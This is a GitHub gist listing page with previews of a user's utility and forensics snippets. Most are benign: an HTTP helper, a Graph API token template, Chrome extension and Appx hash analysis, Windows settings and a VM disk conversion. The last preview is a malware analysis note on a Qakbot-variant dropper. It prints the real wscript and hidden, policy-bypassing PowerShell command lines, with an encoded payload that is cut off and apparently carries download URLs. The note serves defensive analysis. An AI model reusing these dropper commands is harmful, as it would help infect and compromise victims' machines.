Skip to content

Instantly share code, notes, and snippets.

@petergs
petergs / urlreq.py
Last active February 25, 2025 20:34
urllib.request example
import urllib.request
import urllib.parse
import urllib.error
def urlreq(method: str, url: str, headers: dict = {}, data: dict | None = None) -> str:
encoded_data = None
if data is not None:
if method == "GET":
# urlencode data as path parameters
params = "&".join(
@petergs
petergs / graph-api-token-from-stdin-template.py
Last active October 18, 2024 23:55
graph-api-token-from-stdin-template.py
import requests
import sys
import json
MS_GRAPH_API_BASE_URL = "https://graph.microsoft.com"
if __name__ == "__main__":
if sys.stdin is not None:
access_token = sys.stdin.readline().rstrip()
@petergs
petergs / get-extension-names.sh
Created November 22, 2023 17:42
Chrome Analysis Scripts
#!/bin/bash
cat '/Users/<username>/Library/Application Support/Google/Chrome/Default/Extensions/'*/*/manifest.json | jq -r '.name' | grep -v __MSG
@petergs
petergs / notes.md
Last active January 2, 2024 02:36
Identifying executable hashes from a partial appx bundle

Identifying executable hashes from a partial appx bundle

Scenario: You only have the AppxBlockMap.xml from a potentially malicious Appx. You'd like to identify the original PE contained in the Appx.

AppxBlockMap.xml contains a list of files and their hashes contained in an Appx bundle. Each file is contained in a <File></File> xml block. You can search for the string <File Name= to see each file or search directly for the relevant .exe. The file hash is the last element (<b4:FileHash>) and is base64 encoded.

References

@petergs
petergs / graphrunner-user-agents.sh
Last active November 13, 2024 16:22
GraphRunner User-Agents
#!/bin/bash
# hacky one-liner to extract all hardcoded user agents from GraphRunner
curl -s https://raw.githubusercontent.com/dafthack/GraphRunner/main/GraphRunner.ps1 | grep '$UserAgent =' | grep -v 'Invoke' | awk '{ gsub(/\$UserAgent = /, ""); $1=$1; print }' | sed 's/"//g' | sed "s/'//g"
@petergs
petergs / Set-WindowsPrefs.ps1
Created October 29, 2023 20:13
Set-WindowsPrefs.ps1
# Set Dark Mode
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize -Name AppsUseLightTheme -Value 0
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize -Name SystemUsesLightTheme -Value 0
# Taskbar preferences
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name TaskbarAl -Value 0 # Align Left
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name TaskbarDa -Value 0 # Hide Widgets
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name TaskbarMn -Value 0 # Hide Chat
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name ShowTaskViewButton -Value 0 # Hide TaskView
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Search -Name SearchBoxTaskbarMode -Value 0 # Hide SearchBox
@petergs
petergs / convert.sh
Created October 13, 2023 02:41
Convert ova or vmdx to qcow2 using qemu-img
#!/bin/bash
tar xvf example.ova
qemu-img convert -O qcow2 example.vmdk example.qcow2
@petergs
petergs / qbot.md
Last active January 4, 2024 06:03
qakbot-variant-dropper

Execution

wscript -> powershell -> .dll
"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\Uwgulbom.js" 
"C:\Windows\System32\wscript.exe" "C:\Users\admin\Desktop\Uwgulbom.js" seroplasticGodchild bankweedPolycratic unmiserly becassockedUndividedness 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABjAGEAbAB1AG0AbgBpAGEAdABlAGQARgBvAG8AbABoAGEAcgBkAGkAZQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBkAEEAQgBvAEEARwA4AEEAYwBnAEIAdQBBAEMANABBAGIAZwBCAGgAQQBHAGMAQQBiAHcAQgA1AEEARwBFAEEAegBUAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBQAEEASABVAEEAZABBAEIAbQBBAEcAawBBAFoAUQBCAHMAQQBHAFEAQQBaAFEAQgB5AEEASABNAEEATABnAEIAeQBBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBiAEEAQgB6AEEAQQA9AD0AegBUAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEARwA4AEEAYgBBAEIANQBBAEcATQBBAGEAQQBCAGgAQQBHAFUAQQBkAEEAQgB2AEEASABVAEEAYwB3AEEAdQBBAEgAYwBBAGIAdwBCAHkAQQBHAHcAQQBaAEEAQQA9ACIAOwAk